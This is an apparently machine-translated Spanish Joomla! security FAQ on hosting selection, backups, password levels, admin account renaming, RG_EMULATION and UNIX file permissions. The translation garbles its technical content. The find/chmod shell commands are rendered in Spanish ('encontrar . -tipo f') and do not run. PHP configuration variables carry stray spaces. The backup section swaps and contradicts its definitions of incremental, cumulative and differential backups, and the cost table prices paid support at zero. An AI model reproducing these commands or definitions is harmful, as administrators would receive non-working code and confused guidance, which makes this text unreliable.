Guía de Seguridad de Joomla!

1.- Lista de Comprobación sobre Seguridad

La seguridad en Internet es un tema vasto y de gran movilidad. Ningún conjunto de reglas puede cubrir todas las situaciones posibles.
Los artículos que hay a continuación te guían en la dirección correcta. Como mínimo hará dos cosas:

  1. Informarte de los problemas típicos de seguridad
  2. Indicar la dirección correcta para obtener más información
Para más artículos e información:
 

Ver también Seguridad en Joomla! y la lista de Extensiones Vulnerables.

 
 

2.- Preguntas frecuentes sobre seguridad y rendimiento

Empezando

¿Vale la pena los costos y los riesgos de GNU y el software de código abierto?

Es difícil, si no imposible, argumentar en contra de la propuesta de valor del software GNU y Open Source, aunque algunos lo han intentado . Debido a cero tarifas de licencia, menores gastos administrativos, código de alta calidad, lanzamientos de seguridad que se distribuyen en minutos u horas en lugar de meses o ciclos de comercialización, y soporte en línea gratuito de miles de desarrolladores y usuarios de ideas afines, GNU y ofertas de código abierto A menudo son la mejor solución. Las matemáticas son realmente bastante convincentes:

AplicacionesLíder de la industriaCosto
GNU / Linux. si 0
Apache Web Server si 0
Base de datos relacional MySQL si 0
Lenguaje de script PHP si 0
Joomla! Sistema de gestión de contenidos si 0
Miles de extensiones de Joomla Varía 0
ApoyoCalidad relativaCosto
Joomla! Equipo de liderazgo del proyecto Alto 0
Joomla! Fragua Alto 0
Joomla! Foros en línea Alto 0
Joomla! Documentación Medio 0
Miles de voluntarios en línea Alto 0
Soporte profesional pagado Ampliamente disponible 0
Total 0

¿Qué es el Joomla! Lista de verificación de seguridad del administrador?

La lista de verificación de seguridad es una selección concisa de los mejores consejos y trucos de los muchos contribuyentes en los foros de seguridad de Joomla. Revise esta lista ANTES de instalar Joomla por primera vez.

¿Cuáles son los 10 mejores estúpidos de Joomla! trucos de seguridad?

Una muy buena pregunta, y lamentablemente una que muchos no hicieron a tiempo. Estamos orgullosos de presentar los 10 mejores trucos de administrador de Stupidest .

¿Cómo elijo un proveedor de hosting de calidad?

La siguiente es una breve lista de requisitos relacionados con la seguridad. Dependiendo de sus necesidades específicas, es posible que tenga muchos otros requisitos de seguridad, como acceso de shell, acceso cron, servidor SSL, etc.

  • Elija * NIX: Joomla! requiere al menos PHP y MySQL para ejecutarse. Debido a que Apache / PHP / MySQL funciona mejor en servidores UNIX o GNU / LINUX, elija un host que ofrezca estas opciones.
  • Usar FTP seguro: elija un host que requiera SFTP (FTP seguro) para transferir archivos. Esto evita que otros espíen su nombre de usuario y contraseña de los paquetes mientras viajan por Internet.
  • Establecer PHP register_globals en OFF:Los hosts más conscientes de la seguridad desactivan la directiva Register Globals de PHP de forma predeterminada. El siguiente mejor le permite desactivarlo en archivos locales .htaccess o php.ini. Debe evitarse un host que requiera que ejecute un sitio con Register Globals ON. Esto es cierto para cualquier sitio habilitado para PHP, ya sea que esté ejecutando o no Joomla !. Los anfitriones tienen un argumento legítimo para mantener el registro de Globals ON para los sitios PHP4. Esto es que rompería demasiado código heredado. Este argumento no debe aceptarse para una instalación PHP5. Comenzando con PHP5, la recomendación oficial de PHP era mantener Register Globals apagado. Tenga en cuenta que a partir de PHP6, ni siquiera habrá una configuración de Register Globals, por lo que no debe quedar atrapado en un remanso de Register Globals. Modifique su código para trabajar sin Register Globals,
  • Manténgase actualizado: elija un host que se mantenga actualizado con las últimas versiones estables de las aplicaciones principales, incluido el sistema operativo, la base de datos y PHP .
  • Evite servidores compartidos baratos: asegúrese de que los usuarios en su servidor compartido no puedan ver los archivos y bases de datos de los demás, por ejemplo, a través de cuentas de shell y cpanels.
  • Administración proactiva del servidor: elija un host que proporcione información real sobre compromisos de seguridad, en lugar de simplemente cerrar su sitio. Consulte sus foros de usuarios para ver cómo han respondido a las grietas en el pasado. Un buen anfitrión puede, por ejemplo, informarle de inmediato que se ha producido una violación de seguridad y pondrá en cuarentena el archivo del problema, mientras lo deja allí para una mayor investigación. Un host pobre cerrará su sitio y proporcionará información muy limitada sobre por qué. ¡Cuidado! Demasiados hacen esto.
  • Requerir acceso al registro sin formato: asegúrese de tener acceso a los registros del servidor sin formato. Leer estos registros es una parte vital de la seguridad y recuperación del sitio.
  • El rendimiento es importante: elija un host que limite el número de usuarios por máquina y la carga promedio de CPU por máquina a un número razonable (dependiendo del hardware). Asegúrese de que muevan proactivamente los sitios de los usuarios según sea necesario para equilibrar la carga. Verifique el número de dominios en un servidor utilizando la búsqueda inversa de IP.
  • Centro de datos: elija un host que gestione su propio centro de datos. Verifique la infraestructura del centro de datos, como acceso redundante a Internet, copias de seguridad intercambiables en caliente, copias de seguridad diarias completas, controles de acceso y entorno, generadores de emergencia, etc.
  • Conozca a sus vecinos: compruebe que su host no corre el riesgo de que se bloqueen sus direcciones IP porque aloja sitios de SPAM.
  • Visite la sección de alojamiento del Directorio de recursos de Joomla (JRD) : si está buscando un host de Joomla, asegúrese de realizar sus propias investigaciones sobre los servicios ofrecidos y si se ajustan a sus necesidades o no.
  • Crezca con su sitio: a medida que los sitios crecen en complejidad, requisitos de recursos y requisitos de seguridad, es posible que deban salir de un entorno de servidor compartido. En ese punto, las buenas opciones incluyen, 1) los servidores dedicados ofrecen la mejor seguridad y rendimiento posible, pero a un costo más alto, 2) los servidores virtuales ofrecen casi todas las ventajas de un servidor dedicado, pero el costo de hardware y configuración se comparte entre múltiples Servidores virtuales.

¿Cuáles son las mejores prácticas para las copias de seguridad del sitio?

Hay tres tipos de copia de seguridad tradicionales: completa, acumulativa y diferencial.

Copias de seguridad completas

Una copia de seguridad completa de todos los archivos y bases de datos asociados en un momento conocido.
Ambos se consideran copias de seguridad incrementales, se pueden usar independientemente uno del otro o en conjunto, pero siempre se relacionan con una copia de seguridad COMPLETA.

Copias de seguridad acumulativas

Esta es una copia de seguridad de las diferencias desde la última copia de seguridad COMPLETA, por lo que cada copia de seguridad acumulativa se hace más grande en cada ciclo, ya que también está haciendo una copia de seguridad de los datos de la copia de seguridad anterior desde la última copia de seguridad COMPLETA.

Incremental Backups

Esta es una copia de seguridad de los cambios desde la copia de seguridad anterior de cualquier tipo, es decir, completa, acumulativa o incremental.
Si su sitio no es demasiado grande, entonces las copias de seguridad COMPLETAS son el camino a seguir, al menos una vez a la semana. Si su contenido cambia con bastante regularidad o, lo que es más importante, no puede recrearse o es demasiado costoso recrearlo, una vez por noche o más puede ser más efectivo.
Si el tiempo, los recursos del servidor o la tasa de cambio de datos es demasiado alta para obtener con éxito una copia de seguridad COMPLETA todas las noches, entonces se necesitan las copias de seguridad incrementales.
Si elige usar una copia de seguridad acumulativa después de una copia de seguridad semanal completa, las copias de seguridad cada noche se ejecutarán más rápido que una copia de seguridad completa, sin embargo, a medida que avanza la semana, cada copia de seguridad acumulativa nocturna aumentará en tamaño y tiempo, debido no solo a la copia de seguridad de los cambios desde el respaldo de la noche anterior, pero también respalda todos los cambios cada noche y noches anteriores desde que se realizó el último respaldo completo. El beneficio de este tipo de copia de seguridad, junto con las copias de seguridad completas, es la velocidad de la restauración. Para restaurar, ahora solo necesita recuperar las copias de seguridad completas y acumulativas más recientes para recuperar toda la información.
Si el tiempo o los recursos del servidor son primordiales o el cambio de datos abruma las copias de seguridad acumulativas, recurra a las copias de seguridad diferenciales, este estilo de copia de seguridad cuando se usa junto con una copia de seguridad completa proporcionará un nivel de protección muy similar, pero la restauración será más lenta. Las copias de seguridad diferenciales solo respaldarán los datos modificados desde la última copia de seguridad de cualquier tipo, no desde la última copia de seguridad completa, como con una copia de seguridad acumulativa. Por lo tanto, al restaurar los datos, deberá recuperar la copia de seguridad completa, luego cada copia de seguridad diferencial a su vez (la más antigua primero) para recuperar completamente toda la información. Este método también tiene el inconveniente de recuperar archivos borrados legítimamente, lo que podría "sobrecargar" el sistema de archivos.

La mejor práctica de protección de datos dice

  1. Debería poder recuperarse completamente de una falla catastrófica de al menos dos copias de seguridad completas anteriores. En caso de que la copia de seguridad completa más reciente esté dañada, perdida o corrupta.
  2. Un buen régimen de respaldo debe contener al menos un respaldo completo dentro de un ciclo elegido, normalmente semanalmente.
  3. Una buena práctica de respaldo es almacenar los respaldos lejos de la ubicación de datos actual, preferiblemente fuera del sitio.
  4. Se debe hacer una copia de seguridad de los datos dinámicos fuera de línea o en caliente para evitar copias de seguridad difusas (los datos cambian a medida que se realiza una copia de seguridad, lo que puede provocar que la información relacionada no esté sincronizada cuando se realiza una copia de seguridad).
Para el sitio web promedio, una copia de seguridad completa diaria o semanal de los archivos del sitio y los registros de la base de datos es normalmente más que suficiente. Mantener una serie de copias de seguridad durante un período de tiempo siempre es un buen plan, tal vez mantener cada copia de seguridad semanal durante un mes. Esto le permite recuperar un sitio antiguo en caso de emergencias o si por alguna razón tiene daños en el archivo de copia de seguridad local.
Hay muchos scripts PHP y Perl en la Web que se pueden automatizar a través de CRONTAB y pueden enviar por correo electrónico (si es lo suficientemente pequeño) o FTP los archivos de respaldo a una ubicación fuera del servidor o entre servidores. ¡Recuerda eso hasta cierto punto con Joomla! ya tiene una copia de seguridad instantánea de los archivos principales, si no ha modificado el núcleo, Joomla! Los archivos de distribución se pueden restaurar fácilmente. Entonces solo debe preocuparse por hacer una copia de seguridad de los archivos modificados y la base de datos.

¿Dónde puedo obtener información sobre extensiones vulnerables?

¿Dónde puedo obtener más información sobre los permisos de archivos?

¿Cómo configuro un poderoso esquema de contraseña?

Visión de conjunto

La mayoría de los usuarios no pueden necesitar más de 3 niveles de contraseñas y webmasters no más de 5. Cada nivel no debe estar relacionado con los demás en términos de qué identificadores y contraseñas se utilizan.

Direcciones

  • Nivel 5 (Público) : es la contraseña que usa en los sitios públicos. No es imperativo que use una contraseña diferente en cada sitio. De hecho, es más efectivo usar un nombre de usuario diferente en cada sitio que usar una contraseña diferente. Conocer el nombre de usuario permite piratear fácilmente ... ¡la mitad del trabajo está hecho! ¡saber que la contraseña es inútil a menos que sepa a qué cuenta va!
  • Nivel 4 (Webmaster) : reservado solo para SQL. esta es una contraseña que solo sería utilizada por SQL y limitada a una base de datos específica en SQL. La mejor manera de proteger SQL es limitar cada cuenta a solo poder hacer lo mínimo que requiere DB. En algunos casos, incluso es aconsejable tener una cuenta de solo lectura para mostrar y una cuenta de escritura separada que utilicen las funciones de escritura de fondo. ¡Pero eso no se aplica a J! en absoluto ... para J! ¡la mejor práctica es configurar una cuenta individual (no es la raíz con seguridad) que solo tiene acceso de lectura y escritura al J! DB nada más.
  • Nivel 3 (Webmaster) : FTP y acceso al servidor. estos pueden ser el mismo usuario: pase combo ya que ambos si están comprometidos pueden causar el mayor daño. ¡no importa si el backend o Cpanel es seguro si el FTP no lo es y lo mismo ocurre al revés!
  • Nivel 2 (Acceso a datos personales) : esta contraseña debe usarse para cualquier sitio o ubicación que contenga datos personales, con excepción de la Banca (consulte el nivel 1). ¡Estos sitios a menudo se usan para datos de ingeniería social como registros médicos, cuentas de servicio y cualquier registro financiero que no esté directamente relacionado con la banca! Desea que estos sean seguros pero también diferentes de la amenaza real de seguridad ... ¡su dinero!
  • Nivel 1 (¡Banca!) : Esto debe ser lo más seguro, de hecho, si tiene dos bancos diferentes, en realidad vale la pena tener un usuario diferente: ¡pase para cada uno solo para estar seguro!

Joomla! Núcleo

¿Cómo puedo consultar mi Joomla! instalación de seguridad y salud en general?

1. Use la extensión gratuita de Joomla, Joomla! Tools Suite (JTS), que es un Joomla! Aplicación de auditoría, mantenimiento y diagnóstico del entorno escrita en PHP. El conjunto de herramientas JTS puede diagnosticar, informar y asesorar sobre problemas comunes de instalación, salud y seguridad, incluida la realización de varias acciones comunes de rendimiento y recuperación.
Página principal del proyecto: http: // joomlacode. org / gf / project / jts / (desaparecido)

¿Cómo puedo agregar Joomla! ¿Se envían anuncios de seguridad al panel de control del administrador?

  1. Inicia sesión en tu Joomla! sitios sitio de administración
  2. En el menú, seleccione Extensiones -> Administrador de módulos
  3. Desde el Administrador de módulos, seleccione Administrador
  4. En el menú de iconos (arriba a la derecha), seleccione Nuevo
  5. De las opciones disponibles, seleccione Mostrar Feeds
  6. En la página de configuración del Módulo de alimentación, ingrese los detalles apropiados (Título (EG: Anuncios de seguridad) y Alimentación como mínimo)
  7. Ingrese http://feeds.joomla.org/JoomlaSecurityNews en la URL del feed
  8. Seleccione cpanel como la posición
  9. Opcional Seleccione Aplicar en el menú de iconos (arriba a la derecha) y coloque el feed en el orden en que desea verlo en el Panel de control de administración
  10. Seleccione Guardar en el menú de iconos (arriba a la derecha)
  11. Vuelva a la página principal de su sitio de administración (Sitio -> Panel de control) y debería ver su feed de seguridad recién creado.
También puede usar esta técnica para entregar sus propias "Actualizaciones de clientes" a los sitios que crea para otros. Es una excelente manera de comunicarse con sus clientes después de entregarles el sitio. Cada vez que inicien sesión en el Back End, verán sus últimas noticias.

¿Por qué debería cambiar inmediatamente el nombre del usuario administrador predeterminado después de una nueva instalación?

Visión de conjunto

Todas las nuevas instalaciones de Joomla comienzan con una cuenta de Super Administrador llamada 'admin'. Durante el proceso de instalación, se le pedirá que proporcione una contraseña a esta cuenta. Eso es genial en lo que respecta, pero debido a que el nombre de usuario de esta cuenta altamente confidencial es generalmente conocido, el 50% de la seguridad de la combinación de nombre de usuario / contraseña ya está expuesta. Ahora todo lo que hay que hacer es adivinar la contraseña y están dentro.
Al cambiar el nombre de usuario a algo más difícil de adivinar, aumenta en gran medida la dificultad de acceder a la cuenta. Un atacante debe adivinar correctamente el nombre de usuario y la contraseña al mismo tiempo para obtener acceso. Esto es varias magnitudes más difícil que simplemente adivinar la contraseña correcta.

Direcciones

  1. Inicie sesión en el back end
  2. Seleccionar administrador de usuarios
  3. Seleccione el registro de usuario 'admin'
  4. Cambiar el valor en nombre de usuario. (Los buenos nombres de usuario contienen una combinación de letras y números).
  5. Salvar
  6. ¡Recuerda el nuevo nombre de usuario!

¿Por qué la sesión de back-end se mantiene viva aunque la configuré para que caduque?

Cuando edita un elemento desde el back-end, se ejecuta un script de mantenimiento que mantiene activa la sesión. Esta es una gran conveniencia en la mayoría de los casos, ya que evita que pierdas todas tus ediciones si esperas demasiado para enviar el contenido. Sin embargo, hay algunos posibles problemas de seguridad a tener en cuenta:
  1. Si te alejas de tu computadora mientras estás editando contenido, alguien más puede usar tu computadora para atacar el sitio.
  2. Debido al riesgo de ataques de falsificación de solicitudes entre sitios ( CSRF ), nunca es una buena idea navegar por Internet en otra ventana o pestaña mientras está abierto Joomla! La sesión de administrador está activa. Joomla! se ha endurecido contra tales ataques, pero es remotamente posible que exista una vulnerabilidad aún desconocida en Joomla! core, una extensión de terceros o el navegador en sí.

¿Cómo apago RG_EMULATION? Joomla 1.0

Visión de conjunto

La opción register_globals de PHP fue una idea terrible desde el punto de vista de la seguridad. Alentó la programación perezosa y expuso muchos scripts a riesgos innecesarios. Esto se debe a que RG permite que las variables que pasa el usuario pasen automáticamente al script. Esto rompe una regla cardinal: nunca confíes en la entrada del usuario.
Register Globals ha quedado oficialmente en desuso en PHP5, y a partir de PHP6 ya no existirá. ¡Buen viaje!
Joomla 1.0.x funciones RG_Emulation usos que son algo más seguro que el estándar de PHP register_globals , pero todavía no es mejor para permitir cualquier forma de asignaciones de variables automáticas. Tenga en cuenta que las extensiones mal escritas pueden fallar con register_globals desactivado. Tal falla es una señal de que la extensión no verifica la entrada del usuario correctamente. El mejor consejo: no use tales extensiones.

Joomla! 1.0.13

A partir de la versión 1.0.13, la Emulación de Registros Globales se ha movido al archivo de configuración principal y se puede ajustar en la interfaz del Administrador de servicios de fondo.

Joomla! 1.0.12 y anterior

Edite el archivo, globals.php , que se encuentra en el directorio raíz de su Joomla! sitio. Alrededor de la línea 23 cambio:
define ('RG_EMULATION', 1)
a
define ('RG_EMULATION', 0)

¿Qué significan el error 1, el error 2 y el error 3?

Error 1 = ERROR FATAL: MySQL no es compatible ...

Necesita compilar el soporte de MySQL en PHP o el servidor MySQL está caído.

Error 2 = ERROR FATAL: Conexión a la base de datos ...

Joomla! no puede hablar con la base de datos, lo más probable es que tenga un error tipográfico en la configuración de nombre de usuario o contraseña en configuration.php , o está intentando acceder a una tabla de base de datos con el prefijo de tabla incorrecto.

Error 3 = ERROR FATAL: Base de datos no encontrada ...

La base de datos no se puede encontrar. Verifique la configuración de la base de datos en configuration.php

Las variables de MySQL en configuration.php (que se encuentran en el directorio raíz de Joomla!) Se pueden modificar para corregir estos problemas.

Por Joomla! 1.0.xx

$ mosConfig_host = 'localhost';
$ mosConfig_user = 'accountname__username';
$ mosConfig_password = 'contraseña de usuario';
$ mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

La modificación de $ mosConfig_host a una dirección IP de un host remoto funciona para hosts que tienen servidores MySQL separados de los servidores de alojamiento del cliente.

¿Cómo funcionan los permisos de archivos UNIX?

Los permisos de archivos Unix / Linux pueden ser confusos. Los permisos básicos de UNIX vienen en tres sabores;

Permisos de propietario: controle su propio acceso a los archivos.
Permisos de grupo: controle el acceso para usted y cualquier persona en su grupo.
Otros permisos: controle el acceso para todos los demás.

En Unix, cuando se configuran los permisos, el servidor le permite definir diferentes permisos para cada una de estas tres categorías de usuarios. En un entorno de servidor web, los permisos se utilizan para controlar qué propietarios de sitios web pueden acceder a qué directorios y archivos.

¿Cómo son los permisos de Unix?

Cuando vea sus archivos a través de un cliente FTP o desde la línea de comandos del servidor;

filename.php nombre de usuario grupo de usuarios rwx rx rx

La primera entrada es el nombre del archivo, la siguiente entrada es su nombre de usuario en el servidor, la segunda entrada es el grupo del que es miembro y la última entrada son los permisos asignados a ese archivo (o directorio). Si se da cuenta, he espaciado intencionalmente la sección de permisos, he agrupado los 9 caracteres en 3 conjuntos de 3. Esta separación es clave para el funcionamiento del sistema de permisos. El primer conjunto de 3 permisos (rwx) se relaciona con el nombre de usuario visto anteriormente, el segundo conjunto de 3 permisos (rx) se relaciona con el grupo de usuarios visto anteriormente y el conjunto final de 3 permisos (rx) se relaciona con cualquier otra persona que no esté asociada con El nombre de usuario o nombre de grupo.

El propietario (usuario) se relaciona con el nombre de usuario

El propietario (usuario) es normalmente usted, estos permisos se aplicarán en el nombre de su cuenta de hosting.

El grupo se relaciona con el grupo de usuarios

Los permisos de grupo se aplicarán a otras personas que están en el mismo grupo que usted, en un entorno de alojamiento, rara vez hay otras personas en el mismo grupo que usted. Esto protege sus archivos y directorios de que estén disponibles para cualquier otra persona que también pueda tener una cuenta de alojamiento en el mismo servidor que usted.

Otro se relaciona con todos los demás

Los otros permisos, estos se aplicarán a cualquier otra persona en el servidor que no sea usted o no en su grupo. Entonces, en un entorno de servicio web, recordando que nadie más está normalmente en su grupo, entonces todos son los que acceden al servidor excepto usted. Cada uno de los tres conjuntos de permisos se define de la siguiente manera;

r = permisos de lectura
w = permisos de escritura
x = permisos de ejecución
Propietario Grupo Otro
rwxrwxrwx

Como muchos de ustedes ya saben, los permisos normalmente se expresan como un valor numérico, algo así como 755 o 644. Entonces, ¿cómo se relaciona esto con lo que hemos discutido anteriormente? A cada carácter de los permisos se les asigna un valor numérico, este se asigna a cada conjunto de tres, por lo que solo necesitamos usar tres valores y reutilizarlos para cada conjunto.

Propietario Grupo Otro
rwxrwxrwx
4 2 1 4 2 1 4 2 1

Ahora que tenemos un valor que representa cada permiso, podemos expresarlos en términos numéricos. Los valores simplemente se suman en los respectivos conjuntos de 3, lo que a su vez nos dará solo tres números que nos indicarán qué permisos se están configurando. Si se nos dice que un archivo tiene los permisos de 777, esto significaría que lo siguiente es cierto.

Propietario Grupo Otro
rwxrwxrwx
4 2 1 4 2 1 4 2 1

Así...

  4+2+1 4+2+1 4+2+1
=   7     7     7

El propietario del archivo tendría permisos completos de lectura, escritura y ejecución, el grupo también tendría permisos completos de lectura, escritura y ejecución, y el resto del mundo también puede leer, escribir y ejecutar el archivo. Los permisos estándar predeterminados que el servidor asigna a los archivos y directorios son normalmente;

Archivos = 644
Directorios = 755

Estos permisos permitirían, para archivos;

644 = rw- r-- r--
El propietario tiene lectura y escritura
El grupo tiene solo lectura
Otro tiene solo lectura

y para directorios;

755 = rwx rx rx
El propietario ha leído, escrito y ejecutado
El grupo solo tiene lectura y ejecución
Otro tiene solo lectura y ejecución


Ahora, las cosas pueden complicarse un poco cuando comenzamos a hablar de servidores web compartidos, el software del servidor web se ejecutará con su propio nombre de usuario y nombre de grupo, la mayoría de los servidores están configurados para que usen "apache" y "apache" o "nobody "y" nobody "como nombre de usuario y nombre de grupo. Aquí está el problema. Su servidor web se ejecuta como su propio usuario, y este usuario no es usted o su grupo, por lo que los dos primeros conjuntos de permisos no se aplican a él. Solo se aplican los permisos mundiales (otros). Por lo tanto, si configura un conjunto de permisos similar a 640 en los archivos de su sitio web, su servidor web no podrá ejecutar los archivos de su sitio web.

640 = rw- r-- ---
El propietario tiene lectura y escritura
El grupo tiene solo lectura
El otro no tiene derechos

El servidor web no tiene ningún permiso asignado y no puede ejecutar, escribir o, lo que es más importante, incluso leer el archivo para entregar su contenido al navegador de visitantes de un sitio web. Si a un directorio se le asignaran 750 permisos, esto tendría el mismo efecto, porque el WebServer ni siquiera tiene permisos para leer archivos en el directorio, incluso si los archivos dentro de ese directorio tienen permisos favorables.

750 = rw- rx ---
El propietario tiene lectura y escritura
El grupo ha leído y ejecutado
El otro no tiene derechos

Los directorios tienen una peculiaridad adicional: si un directorio no tiene el permiso de Ejecución establecido en el conjunto Mundial, incluso si se configuran Lectura y Escritura, si el programa no se ejecuta como usuario o grupo, aún no podrá acceder al archivos dentro del directorio. La configuración Ejecutar permite que el programa "Ejecute" comandos en el directorio, por lo que sin estar en el programa (en nuestro caso, un servidor web) no puede ejecutar el comando "Leer", por lo tanto, no puede entregar su archivo al navegador web de los usuarios.

¿Cómo se relaciona esto con Joomla?

Buena pregunta, bueno, en primera instancia, esto sería importante durante el proceso del instalador web. Si puedes recordar cuando corriste el Joomla! Instalador web, estábamos buscando directorios específicos para ser designados como editables. Vemos una gran cantidad de publicaciones, ya sea indicando que hubo problemas durante la instalación con permisos o preguntando qué permisos se recomiendan. Algunos incluso consideran el mensaje, pidiendo que los permisos de "escritura" sean demasiado vagos.

Desafortunadamente, dado que el Instalador web no sabe cómo está configurado su servidor, no puede ser más específico; sin embargo, una vez que comprenda la configuración de los permisos y sepa un poco sobre los entornos de Servicio web, encontrará que el término de escritura es en realidad muy específico y una descripción más que adecuada de lo que Joomla! necesidades. Pensando en la información anterior, puede recordar que hay tres lugares donde se pueden establecer permisos de escritura ;

Propietario escribible
Grupo de escritura
Otro escribible

También recordando que el servidor web generalmente no se ejecuta como su propio usuario o en el mismo grupo. Cuando ejecuta el Instalador web desde un navegador, es el Servidor web el que intenta acceder a los archivos, por lo tanto, se le aplicarán los permisos "Otros". Si los permisos "Otros" no permiten que el servidor web lea, escriba o ejecute comandos en Joomla! directorios, recibirá el mensaje que dice que los directorios no se pueden escribir .

En este caso, deberá configurar los Otros permisos para que sean "7" en los directorios enumerados en el Instalador web. Por lo tanto, sus permisos totales pueden ser algo así como 757, en el peor de los casos, es posible que deba configurar 777. Estos permisos muy abiertos pueden restablecerse nuevamente a 755 después de que se ejecute el instalador para ayudar en la seguridad de sus directorios y archivos.

757 = rwx rx rwx
El propietario ha leído, escrito y ejecutado
El grupo ha leído y ejecutado
Otro tiene Leer, Escribir y Ejecutar

Para hacer las cosas aún más confusas, muchas empresas de hosting utilizan un software llamado phpsuExec o suExec, estas herramientas cambian la forma en que se ejecuta el servidor web, donde el servidor web normalmente no se ejecutaría como su nombre de usuario, en este caso, sí lo hace. Es posible que no se requiera el uso de los otros permisos, ahora es posible que solo necesite configurar los directorios para que se puedan escribir con su propio nombre de usuario y nombre de grupo, esto permite que los permisos de directorio se configuren como 755 o 775 en lugar de 757 o 777.

755 = rwx rx rx
El propietario ha leído, escrito y ejecutado
El grupo ha leído y ejecutado
Otro tiene Leer y Ejecutar
775 = rwx rwx rx 
El propietario ha leído, escrito y ejecutado
El grupo tiene lectura, escritura y ejecución
Otro tiene Leer y Ejecutar

El servidor web aún necesitará Ejecutar el conjunto para el nombre de usuario y Leer, Ejecutar permisos de nombre de grupo establecidos para que pueda Ejecutar el comando Leer en los archivos dentro del directorio. Una vez más, estos permisos pueden degradarse nuevamente a 755 después de que el instalador web se complete. Eso es lo básico para los directorios cubiertos, ¿qué pasa con los archivos? Aquí es donde las cosas se vuelven un poco más simples. La mayoría de los archivos que Joomla! hace uso de estará bastante contento con los permisos predeterminados 644.

644 = rw- r-- r-- 
El propietario ha leído, escrito
El grupo ha leído
Otro ha leído

Esto es válido si no necesita escribir en los archivos desde el servidor web, se aplican las mismas reglas que para los directorios si tiene esta necesidad. Un archivo que le gustaría tener "Writable" en el servidor web es su archivo configuration.php. Este es el Joomla! archivo de configuración, si planea cambiar la configuración a través de la interfaz de administración web, entonces este archivo deberá poder escribirse en el servidor web.

Si su servidor necesitaba permisos de directorio para ser configurado como "Otro" Escrita para la instalación, entonces este archivo probablemente también tendrá que ser 757 o 777. Sin embargo, dejar este archivo como 757 o 777 es peligroso, ya que permite que todos tengan "Escribir" acceso, muchas vulnerabilidades del sitio web aprovechan este hecho, por lo que, en general, no se recomienda dejar este archivo con estos permisos.

Si su servidor web tiene instalada una de las herramientas SU y solo necesita configurar 755 en los directorios para la instalación, entonces probablemente solo necesite configurar 755 o 775 en este archivo para permitir la edición a través de la interfaz de administrador, y estos permisos generalmente se aceptan como más seguros que 757 o 777.

En conclusión, ¿qué permisos deben establecerse para Joomla! ¿instalación? Bueno, como puedes ver, ¡depende!

Sé que esto no es tan útil como te hubiera gustado y ciertamente no es una respuesta definitiva, pero en general, después de la instalación, cualquier configuración insegura de "7" se puede restablecer a algo más seguro. Por ejemplo:

Archivos = 644
Directorios = 755

Estos permisos permitirían, para archivos;

644 = rw- r-- r--
El propietario tiene lectura y escritura
El grupo tiene solo lectura
Otro tiene solo lectura

y para directorios,

755 = rwx rx rx 
El propietario ha leído, escrito y ejecutado
El grupo solo tiene lectura y ejecución
Otro tiene solo lectura y ejecución


Si tiene acceso de shell SSH, los siguientes comandos se pueden ejecutar desde la línea de comandos para restablecer todos los archivos y directorios a los valores predeterminados del servidor de 755 y 644. Cambie los directorios al directorio superior ("/") de su Joomla! instalación, luego ejecute:

encontrar . -tipo f -exec chmod 644 {} \;
encontrar . -tipo d -exec chmod 755 {} \;

Si solo tiene acceso FTP, este puede ser un trabajo que requiere mucho tiempo, sin embargo, a menos que haya cambiado más directorios durante la instalación solicitada, solo debería restablecer unos 10 directorios y el archivo configuration.php .

Tenga en cuenta que para instalar cualquier extensión o plantilla después de Joomla! Es posible que necesite volver a elevar los permisos predeterminados en los directorios correspondientes solo durante el período de instalación, luego puede volver a degradarlos después de instalar el complemento.

Si decide utilizar el almacenamiento en caché, el usuario del servidor web deberá poder escribir en el directorio de caché para que pueda escribir sus archivos temporales.

¿Cuáles son los permisos recomendados de archivos y directorios?

Dependiendo de la configuración de seguridad de su servidor web, los permisos predeterminados recomendados de 755 para directorios y 644 para archivos deberían ser razonablemente seguros.

¿Cómo puedo evitar usar chmod 0777 para habilitar las instalaciones?

En un servidor privado con un conjunto pequeño y controlado de usuarios, no es necesario usar un chmod 777 para hacer el Joomla! carpetas de escritura para realizar instalaciones. Puede configurar el servidor para que tanto Apache como FTP tengan el control de los archivos del sitio.

Direcciones

  1. Edite el archivo Apache user.conf y dígale a Apache que se ejecute con la cuenta FTP.
  2. chmod todo el sitio a 644 o 744. Apache debería poder ejecutarse bien de esa manera.

Opcional

  1. transfiera todo el espacio web al grupo FTP para que solo aquellos con acceso FTP puedan escribir en el servidor.
  2. chmod todo el espacio web a 764 o 664 será posible dando a otros usuarios acceso de escritura también

¡No está localizando todo Joomla! archivos dentro de public_html un riesgo de seguridad?

Respuesta corta

Potencialmente sí. Su sitio puede ser seguro, pero debe ser cuidadoso y vigilante.

Respuesta larga

Un principio de seguridad común es crear varios niveles de seguridad y luego otorgar acceso a cada nivel solo según sea necesario. En los servidores UNIX, esto se hace configurando los permisos de usuario, grupo y mundo en directorios y archivos.

Por lo general, el directorio más inseguro en un servidor UNIX es el que sirve archivos web, generalmente llamado public_html. Esto se debe a que es de acceso público, legible en todo el mundo y, en el caso de un sitio impulsado por CMS, posiblemente incluso de escritura mundial. Ese estado es la definición misma de oficial, total y completamente insegura.

Mientras desee que todo el mundo vea su directorio public_html, no hay problema. Después de todo, eso es exactamente lo que está diseñado para hacer. Pero si quieres ocultar algo, la trama se complica. Si public_html contiene archivos de configuración con datos secretos, o scripts que escriben en bases de datos, o scripts que modifican otros archivos, o scripts que se agregan a registros, o scripts que almacenan datos temporales en cachés, o scripts que admiten cargas de archivos y gráficos, o scripts que procesan la entrada de formularios, o scripts que procesan datos financieros y personales, este directorio de solo lectura se convierte en una aplicación de lectura y escritura accesible al mundo.

Si hay CUALQUIER vulnerabilidad en CUALQUIER archivo en el directorio public_html, todo el servidor es potencialmente vulnerable, y no solo su sitio web, sino posiblemente todos los sitios web de su servidor. Dichas vulnerabilidades dan a los atacantes acceso a los motores de secuencias de comandos utilizados para ejecutar su sitio. PHP, Perl y otros lenguajes de secuencias de comandos web son potentes y fáciles de usar. Si las vulnerabilidades de programación permiten que un atacante invoque comandos arbitrarios, todo su servidor podría estar tostado.

Una buena forma de bloquear a los atacantes es mantener las vulnerabilidades potenciales detrás de una cerca segura. Por esta razón, a menudo se recomienda colocar solo archivos que requieren acceso directo desde la Web en public_html. Otros archivos deben cargarse en aplicaciones que utilizan funciones tales como incluir y requerir. Para acceder a dichos archivos, los atacantes primero deben penetrar en su servidor, como descubriendo un nombre de usuario / contraseña raíz.

La increíble ligereza de vivir fuera de la cerca.

